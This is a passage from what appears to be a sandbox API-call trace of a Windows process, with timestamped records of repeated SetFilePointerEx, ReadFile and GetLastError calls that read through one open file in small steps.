dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.844] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.844] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x54a, lpOverlapped=0x0) returned 1 [0031.844] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.845] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.845] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.845] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.845] GetLastError () returned 0x0 [0031.845] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.845] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.845] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.845] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.845] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x542, lpOverlapped=0x0) returned 1 [0031.846] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.846] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.846] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.846] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.846] GetLastError () returned 0x0 [0031.846] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.846] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.846] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.846] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.846] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x53a, lpOverlapped=0x0) returned 1 [0031.847] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.847] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.847] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.847] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.847] GetLastError () returned 0x0 [0031.847] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.847] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.847] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.847] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.847] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x532, lpOverlapped=0x0) returned 1 [0031.848] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.848] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.848] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.848] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.848] GetLastError () returned 0x0 [0031.848] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.848] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.848] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.848] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.848] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x52a, lpOverlapped=0x0) returned 1 [0031.849] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.849] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.849] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.849] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.849] GetLastError () returned 0x0 [0031.849] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.849] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.849] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.849] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.850] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x522, lpOverlapped=0x0) returned 1 [0031.850] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.850] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.850] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.850] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.850] GetLastError () returned 0x0 [0031.850] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.850] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.850] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.850] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.851] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x51a, lpOverlapped=0x0) returned 1 [0031.851] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.851] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.851] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.851] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.851] GetLastError () returned 0x0 [0031.851] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.851] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.851] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.851] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.852] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x512, lpOverlapped=0x0) returned 1 [0031.852] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.852] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.852] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.852] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.852] GetLastError () returned 0x0 [0031.852] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.852] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.852] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.852] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.853] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x50a, lpOverlapped=0x0) returned 1 [0031.853] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.853] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.853] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.853] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.853] GetLastError () returned 0x0 [0031.854] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.854] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.854] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.854] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.854] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x502, lpOverlapped=0x0) returned 1 [0031.854] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.854] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.854] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.854] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.854] GetLastError () returned 0x0 [0031.855] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.855] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.855] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.855] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.855] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4fa, lpOverlapped=0x0) returned 1 [0031.855] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.855] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.855] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.855] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.856] GetLastError () returned 0x0 [0031.856] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.856] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.856] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.856] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.856] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4f2, lpOverlapped=0x0) returned 1 [0031.856] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.856] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.856] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.856] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.857] GetLastError () returned 0x0 [0031.857] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.857] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.857] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.857] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.857] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4ea, lpOverlapped=0x0) returned 1 [0031.857] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.857] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.857] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.857] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.858] GetLastError () returned 0x0 [0031.858] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.858] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.858] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.858] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.858] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4e2, lpOverlapped=0x0) returned 1 [0031.858] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.858] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.858] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.859] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.859] GetLastError () returned 0x0 [0031.859] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.859] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.859] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.859] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.859] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4da, lpOverlapped=0x0) returned 1 [0031.859] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.859] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.859] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.859] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.859] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.860] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.860] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.860] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.860] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4d2, lpOverlapped=0x0) returned 1 [0031.860] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.860] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.860] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.860] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.860] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.860] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.860] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.860] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.860] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4ca, lpOverlapped=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.861] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, 